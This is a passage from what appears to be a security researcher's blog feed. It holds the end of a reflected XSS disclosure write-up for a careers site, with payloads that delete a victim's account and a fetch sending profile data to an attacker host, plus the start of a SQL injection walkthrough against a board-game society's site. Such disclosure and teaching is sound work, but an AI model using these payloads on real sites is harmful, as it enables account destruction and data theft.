&lt;pre tabindex="0" class="chroma">&lt;code class="language-html" data-lang="html">&lt;span class="line">&lt;span class="cl">&lt;span class="p">&amp;lt;&lt;/span>&lt;span class="nt">script&lt;/span>&lt;span class="p">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kd">var&lt;/span> &lt;span class="nx">twigConfig&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;googleParameters&amp;#34;&lt;/span>&lt;span class="o">:&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;dataUrl&amp;#34;&lt;/span>&lt;span class="o">:&lt;/span> &lt;span class="s2">&amp;#34;/123456789&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">};&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nx">alert&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;sup&amp;#34;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nx">twigConfig&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nx">googleParameters&lt;/span>&lt;span class="o">:&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nx">dataUrl&lt;/span>&lt;span class="o">:&lt;/span> &lt;span class="s2">&amp;#34;/123456789&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">&amp;lt;/&lt;/span>&lt;span class="nt">script&lt;/span>&lt;span class="p">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>And because this is a reflected XSS vulnerability, we can share the URL with people and execute JavaScript in their browsers too:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl">https://careers.example.com/careers/SearchJobs/123456789%22%7D%7D%3Balert%28%22sup%22%29%3BtwigConfig%3D%7B...twigConfig%2C%20googleParameters%3A%7BdataUrl%3A%22%2F123456789
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h2 id="impact">Impact
&lt;/h2>&lt;p>Often XSS is difficult to exploit.
However, there are several reasons why this vulnerabilty is bad and should be fixed.&lt;/p>
&lt;h3 id="deleting-user-accounts">Deleting User Accounts
&lt;/h3>&lt;p>We can force a user to delete their account by making a post request to &lt;code>https://careers.example.com/careers/ProfileDelete&lt;/code> with the body &lt;code>tokenField=BLAABLAABLAA&amp;amp;delete=Continue&lt;/code>, where the &lt;code>tokenField&lt;/code> value is found in the browser cookies.
The JavaScript is able to access these cookies because they aren&amp;rsquo;t set to be &lt;em>HttpOnly&lt;/em>.
If they were, this wouldn&amp;rsquo;t be possible.&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;span class="lnt">5
&lt;/span>&lt;span class="lnt">6
&lt;/span>&lt;span class="lnt">7
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-javascript" data-lang="javascript">&lt;span class="line">&lt;span class="cl">&lt;span class="nx">fetch&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;/careers/ProfileDelete&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nx">body&lt;/span>&lt;span class="o">:&lt;/span> &lt;span class="nb">document&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">cookie&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="s2">&amp;#34;&amp;amp;delete=Continue&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nx">method&lt;/span>&lt;span class="o">:&lt;/span> &lt;span class="s2">&amp;#34;POST&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nx">headers&lt;/span>&lt;span class="o">:&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;content-type&amp;#34;&lt;/span>&lt;span class="o">:&lt;/span> &lt;span class="s2">&amp;#34;application/x-www-form-urlencoded&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">})&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>Turning that into a search term we get:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl">&amp;#34;}};fetch(&amp;#34;/careers/ProfileDelete&amp;#34;,{body:document.cookie+&amp;#34;&amp;amp;delete=Continue&amp;#34;,method:&amp;#34;POST&amp;#34;,headers:{&amp;#34;content-type&amp;#34;:&amp;#34;application/x-www-form-urlencoded&amp;#34;}});twigConfig={...twigConfig, googleParameters:{dataUrl:&amp;#34;
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>If you were to share this URL with a friend (or nemesis) who had an account on this site &lt;em>and&lt;/em> their account was signed in, it would be deleted!&lt;/p>
&lt;figure>&lt;img src="https://jesse.hacks.nz/images/010/deleted-account.png">&lt;figcaption>
&lt;h4>The page after viewing the &amp;#39;delete account&amp;#39; search term.&lt;/h4>
&lt;/figcaption>
&lt;/figure>
&lt;h3 id="exfiltrating-user-data">Exfiltrating User Data
&lt;/h3>&lt;p>In reality, what would probably happen would be some good old-fashioned data harvesting.
Here&amp;rsquo;s an example of some code that could send someone&amp;rsquo;s details up to the attacker&amp;rsquo;s server:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-javascript" data-lang="javascript">&lt;span class="line">&lt;span class="cl">&lt;span class="nx">fetch&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;/careers/Profile&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">.&lt;/span>&lt;span class="nx">then&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nx">res&lt;/span> &lt;span class="p">=&amp;gt;&lt;/span> &lt;span class="nx">res&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">text&lt;/span>&lt;span class="p">())&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">.&lt;/span>&lt;span class="nx">then&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nx">body&lt;/span> &lt;span class="p">=&amp;gt;&lt;/span> &lt;span class="nx">fetch&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;https://evil.hacks.nz/upload&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="p">{&lt;/span> &lt;span class="nx">method&lt;/span>&lt;span class="o">:&lt;/span> &lt;span class="s2">&amp;#34;POST&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nx">body&lt;/span> &lt;span class="p">}))&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h2 id="disclosure">Disclosure
&lt;/h2>&lt;p>The following is a breakdown of the reporting timeline:&lt;/p>
&lt;ul>
&lt;li>2024-04-15: I reported these issues to the company via their website&amp;rsquo;s contact form.&lt;/li>
&lt;li>2024-05-11: I sent an email to their company email address detailing the issues and advising them I&amp;rsquo;d write this post.&lt;/li>
&lt;li>2024-05-30: I sent a Facebook message to their company Facebook page and got an automated reply back saying that I should apply for jobs via their careers website! Ironic.&lt;/li>
&lt;li>2024-05-31: After six weeks, I (finally) got ahold of a human via telephone!&lt;/li>
&lt;/ul>
&lt;h3 id="the-phone-call">The Phone Call
&lt;/h3>&lt;p>I introduced myself and told them that I had found a security vulnerability on one of their websites.
As soon as I mentioned the word &lt;em>security&lt;/em> the person on the other end of the line became very short with me.
They opened their web browser and asked me how to exploit the vulnerability.
I wasn&amp;rsquo;t prepared to talk someone through writing an XSS exploit over the phone, especially to the person answering the phones for this large organisation.&lt;/p>
&lt;p>It took me a couple of minutes to boot up my laptop where I had the example search terms.
However, we weren&amp;rsquo;t able to get the exploit working as expected.
I was able to get it working on my end but perhaps I didn&amp;rsquo;t communicate the specific characters clearly enough.&lt;/p>
&lt;p>In the end, the person on the other end of the line seemed very satisfied that they had thwarted a hacker.
I was then informed that this company has a &lt;em>very good&lt;/em> security team that takes great care in making sure that vulnerabilities like this don&amp;rsquo;t exist.
They confirmed that they did not want to follow this up any further with me.&lt;/p>
&lt;p>I get the feeling that maybe they didn&amp;rsquo;t want to talk to me; perhaps they get a lot of these calls?
In any case, at the time of writing, this issue remains in the product.
Go figure 🤷&lt;/p>
&lt;h2 id="extra-privacy-link-dot-com">Extra: Privacy Link&amp;hellip; Dot Com?
&lt;/h2>&lt;p>When deleting your account on this careers website, you are given one last chance to look at their privacy policy.&lt;/p>
&lt;figure>&lt;img src="https://jesse.hacks.nz/images/010/delete-account.png">&lt;figcaption>
&lt;h4>Note the link to the privacy policy.&lt;/h4>
&lt;/figcaption>
&lt;/figure>
&lt;p>However, the URL assigned to the privacy policy link doesn&amp;rsquo;t take the user to the privacy policy at all!
It instead takes the user to &lt;code>https://www.privacylink.com/&lt;/code> which has an invalid SSL certificate and looks like some guy&amp;rsquo;s personal website:&lt;/p>
&lt;figure>&lt;img src="https://jesse.hacks.nz/images/010/privacy-link.png">&lt;figcaption>
&lt;h4>Ah yes, the link for the privacy policy...&lt;/h4>
&lt;/figcaption>
&lt;/figure>
&lt;p>My guess is that the original developers left that link in as a placeholder and forgot to replace it!
That&amp;rsquo;s all I have for now.&lt;/p>
&lt;h2 id="update-2024-12-15">Update (2024-12-15)
&lt;/h2>&lt;p>I&amp;rsquo;ve been meaning to make an update to this for a while now.
Sometime in October this issue has been fixed and the website no longer exhibits this behaviour; the values are now correctly escaped.
It took them a while to fix it but they got there in the end.&lt;/p>
&lt;small>
Cover photo by &lt;a href="https://unsplash.com/@mvdheuvel?utm_content=creditCopyText&amp;utm_medium=referral&amp;utm_source=unsplash">Maarten van den Heuvel&lt;/a> on &lt;a href="https://unsplash.com/photos/yellow-and-black-heavy-equipment-yAsKqYbUQzY?utm_content=creditCopyText&amp;utm_medium=referral&amp;utm_source=unsplash">Unsplash&lt;/a>
&lt;/small></description></item><item><title>Checkmate! Pwning the Database</title><link>https://jesse.hacks.nz/p/checkmate-pwning-the-database/</link><pubDate>Sat, 25 May 2024 15:00:00 +1200</pubDate><guid>https://jesse.hacks.nz/p/checkmate-pwning-the-database/</guid><description>&lt;img src="https://jesse.hacks.nz/p/checkmate-pwning-the-database/felix-mittermeier-nAjil1z3eLk-unsplash.jpg" alt="Featured image of post Checkmate! Pwning the Database" />&lt;h2 id="introduction">Introduction
&lt;/h2>&lt;p>The website we&amp;rsquo;re looking at today constitutes the internet prescence for an incorporated board game society in New Zealand (and no, it&amp;rsquo;s not chess).
This website is intended as a hub for information about this particular board game for the country.
On the backend of the website they appear to be using &lt;a class="link" href="https://www.joomla.org/" target="_blank" rel="noopener"
>Joomla&lt;/a> which is a CMS that one doesn&amp;rsquo;t often see in 2024.
I usually don&amp;rsquo;t bother poking around on CMS-based websites since, as long as they&amp;rsquo;re updated, they&amp;rsquo;re fairly bulletproof (this isn&amp;rsquo;t entirely true, but is more-or-less accurate in my experience).&lt;/p>
&lt;p>However, there is a pretty bad SQL injection vulnerability hidden in this website.&lt;/p>
&lt;h2 id="what-is-sql-injection">What is SQL Injection?
&lt;/h2>&lt;p>&lt;a class="link" href="https://owasp.org/www-community/attacks/SQL_Injection" target="_blank" rel="noopener"
>SQL injection&lt;/a> is the process whereby a user can trick the web application into executing arbitrary SQL on the database server.
Usually the web application will prevent this from happening by validating the user inputs and parameterising the SQL queries.
If the queries are parameterised then SQL injection is usually not possible.
Additionally, if you&amp;rsquo;re using an ORM you&amp;rsquo;ll get this behaviour for free.
The parameterisation process will escape the values and ensure that no nastiness can take place.&lt;/p>
&lt;h3 id="a-contrived-example">A Contrived Example
&lt;/h3>&lt;p>Imagine we have a shopping website, written in Python, that has allows a user to browse through the products.
When a user clicks on a product to view it, a function called &lt;code>get_product&lt;/code> is run on the backend to retrieve the information to display on the page.&lt;/p>
&lt;p>&lt;em>Note that I&amp;rsquo;m not using Python here for any particular reason; any web application that doesn&amp;rsquo;t sanitise its inputs or use SQL parameterisation is at risk.&lt;/em>&lt;/p>
&lt;p>This is what this function might look like on a system that is using SQL parameterisation:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-python" data-lang="python">&lt;span class="line">&lt;span class="cl">&lt;span class="k">def&lt;/span> &lt;span class="nf">get_product&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">id&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="nb">str&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="n">db&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">query&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;select * from products where id = ?&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nb">id&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>The &lt;code>db.query&lt;/code> function (or, more likely, the SQL driver) will take care of parameterising the query and escaping our value and everything will work as the developer intended.&lt;/p>
&lt;p>However, some web applications won&amp;rsquo;t (or can&amp;rsquo;t) parameterise the SQL query and will instead use string concatenation to build up the query.
And here&amp;rsquo;s an example of what &lt;em>that&lt;/em> could look in our made up web application:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-python" data-lang="python">&lt;span class="line">&lt;span class="cl">&lt;span class="k">def&lt;/span> &lt;span class="nf">get_product&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">id&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="nb">str&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="n">db&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">query&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="sa">f&lt;/span>&lt;span class="s2">&amp;#34;select * from products where id = &amp;#39;&lt;/span>&lt;span class="si">{&lt;/span>&lt;span class="nb">id&lt;/span>&lt;span class="si">}&lt;/span>&lt;span class="s2">&amp;#39;&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>So what difference does this make?
Well, consider what happens if &lt;code>id&lt;/code> is the string &lt;code>television&lt;/code>.
In this case there is no difference; our two SQL queries will look like this:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;span class="lnt">5
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-sql" data-lang="sql">&lt;span class="line">&lt;span class="cl">&lt;span class="c1">-- with parameterisation:
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span>&lt;span class="k">select&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="o">*&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">from&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="n">products&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">where&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="n">id&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="s1">&amp;#39;television&amp;#39;&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w">&lt;/span>&lt;span class="c1">-- with concatenation:
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span>&lt;span class="k">select&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="o">*&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">from&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="n">products&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">where&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="n">id&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="s1">&amp;#39;television&amp;#39;&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>But, consider what happens if the user supplies the &lt;code>id&lt;/code> of &lt;code>television' or id = 'laptop&lt;/code>:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;span class="lnt">5
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-sql" data-lang="sql">&lt;span class="line">&lt;span class="cl">&lt;span class="c1">-- with parameterisation (note that our id has been escaped):
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span>&lt;span class="k">select&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="o">*&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">from&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="n">products&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">where&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="n">id&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="s1">&amp;#39;television&amp;#39;&amp;#39; or id = &amp;#39;&amp;#39;laptop&amp;#39;&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w">&lt;/span>&lt;span class="c1">-- with concatenation (note that id value is running rampant):
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span>&lt;span class="k">select&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="o">*&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">from&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="n">products&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">where&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="n">id&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="s1">&amp;#39;television&amp;#39;&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">or&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="n">id&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="s1">&amp;#39;laptop&amp;#39;&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>Jeeze! That&amp;rsquo;s not good!!
If the user directly supplies this &lt;code>id&lt;/code> value then we&amp;rsquo;re toast!
Not only does this give the user the power to run their own queries but, with a bit of creativity, it can also allow the user to run their own &lt;code>INSERT&lt;/code>, &lt;code>UPDATE&lt;/code>, or even &lt;code>DELETE&lt;/code> statements!&lt;/p>
&lt;h2 id="the-player-ratings-page">The Player Ratings Page
&lt;/h2>&lt;p>Back to the vulnerability on our board game website!
The website has a page that lists the ratings of ranked players within New Zealand.&lt;/p>
&lt;figure>&lt;img src="https://jesse.hacks.nz/images/012/ratings.png">&lt;figcaption>
&lt;h4>The ratings page for all ranked players in NZ.&lt;/h4>
&lt;/figcaption>
&lt;/figure>
&lt;p>Notably, clicking on a user&amp;rsquo;s name gives us more detailed information about the user.
The link to the detailed user information looks like &lt;code>/index.php/players/ratings?view=article&amp;amp;id=286&amp;amp;playerid=216&lt;/code>.
Clicking on a different user just changes the &lt;code>playerid&lt;/code> parameter to something else.
This &lt;code>playerid&lt;/code> query parameter will be the focus of the rest of this article.&lt;/p>
&lt;figure>&lt;img src="https://jesse.hacks.nz/images/012/player.png">&lt;figcaption>
&lt;h4>Detailed information about an individual player.&lt;/h4>
&lt;/figcaption>
&lt;/figure>
&lt;h3 id="detecting-a-sql-injection-vulnerability">Detecting a SQL Injection Vulnerability
&lt;/h3>&lt;p>Similar to the shopping website example, let&amp;rsquo;s see what happens when we change the &lt;code>playerid&lt;/code> to &lt;code>216'&lt;/code>:&lt;/p>
&lt;figure>&lt;img src="https://jesse.hacks.nz/images/012/error.png">&lt;figcaption>
&lt;h4>An error page containing the SQL stacktrace.&lt;/h4>
&lt;/figcaption>
&lt;/figure>
&lt;p>As you can see, we get an error page.
For a hacker, this spells success!
For a website administrator, this spells pwned!
A single quote is often a good test to see if a query parameter is a candidate for SQL injection since it will often work for both strings as well as numbers.&lt;/p>
&lt;p>It also tells us that the database server is MariaDB/MySQL.
This information will be useful, as we will see later.&lt;/p>
&lt;p>As I found out after reporting the problem, the ratings system was a custom module developed for the Joomla CMS.
A simple oversight in parameter validation is the reason for this vulnerability.&lt;/p>
&lt;h2 id="getting-the-server-version">Getting the Server Version
&lt;/h2>&lt;p>Most SQL servers have a way to get the version of the server from the database using SQL.
For example, Microsoft SQL Server has &lt;code>@@version&lt;/code>, PostgreSQL has &lt;code>version()&lt;/code>, and MariaDB/MySQL supports both!
We know that this server is MariaDB since that&amp;rsquo;s what was returned in the error message.&lt;/p>
&lt;p>Let&amp;rsquo;s set this as our goal and see if we can pull out that version value from the server using SQL injection.&lt;/p>
&lt;h3 id="ordering-the-server-around">Ordering the Server Around
&lt;/h3>&lt;p>A common tactic to determine the number of rows that are being selected in a &lt;code>SELECT&lt;/code> query is to supply an &lt;code>ORDER BY x --&lt;/code> at the end of the query where &lt;code>x&lt;/code> is a number, starting at 1, corresponding to the selected column.
Typically, a hacker would start with &lt;code>ORDER BY 1 --&lt;/code>, and then &lt;code>ORDER BY 2 --&lt;/code>, etc, until an error is returned.
If the last query to run successfully was &lt;code>ORDER BY 5 --&lt;/code> then that means that there must be 5 columns in the &lt;code>SELECT&lt;/code> query.
The hacker can then do a &lt;code>UNION SELECT&lt;/code> to pull out arbitrary data from the database.&lt;/p>
&lt;p>Let&amp;rsquo;s see if we can do this by setting the player ID to &lt;code>216 order by 1 --&lt;/code>:&lt;/p>
&lt;figure>&lt;img src="https://jesse.hacks.nz/images/012/order-by-error.png">&lt;figcaption>
&lt;h4>This SQL error message has more information about the query.&lt;/h4>
&lt;/figcaption>
&lt;/figure>
&lt;p>As you can see, this error response has a lot more information about the query.
Judging by the use of aliases and parenthesis, I can make the assumption that the server is performing at least one join, using a CTE, or running a subquery.
This makes things difficult for us, since we are going to have a much harder time getting control of a complicated query.&lt;/p>
&lt;p>We&amp;rsquo;re going to have to try a different tactic.&lt;/p>
&lt;h3 id="blind-sql-injection">Blind SQL Injection
&lt;/h3>&lt;p>We&amp;rsquo;re going to see if we can get the page do one of two things: either return the normal page with the player details, or return an error.
If we can get this working, then we can craft a SQL query that will conditionally return the normal page or the error page.
We&amp;rsquo;ll see this in action later.&lt;/p>
&lt;hr />
&lt;p>For now, let&amp;rsquo;s see if we can get the user&amp;rsquo;s page by adding some seemingly pointless SQL after the player&amp;rsquo;s ID: &lt;code>216 and 1 = 1&lt;/code>. In SQL, &lt;code>1 = 1&lt;/code> is equivalent to &lt;code>1&lt;/code> which is SQL&amp;rsquo;s way of saying &lt;code>true&lt;/code>.&lt;/p>
&lt;figure>&lt;img src="https://jesse.hacks.nz/images/012/player-fixed.png">&lt;figcaption>
&lt;h4>Now we&amp;#39;re cooking! We can ensure that we can add extra SQL without modifying the returned data.&lt;/h4>
&lt;/figcaption>
&lt;/figure>
&lt;p>This page looks exactly the same as before, that&amp;rsquo;s encouraging!
We can imagine that the SQL being executed on the server looks something like this:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-sql" data-lang="sql">&lt;span class="line">&lt;span class="cl">&lt;span class="k">select&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="o">*&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">from&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="n">players&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">where&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="n">id&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="mi">216&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">and&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;hr />
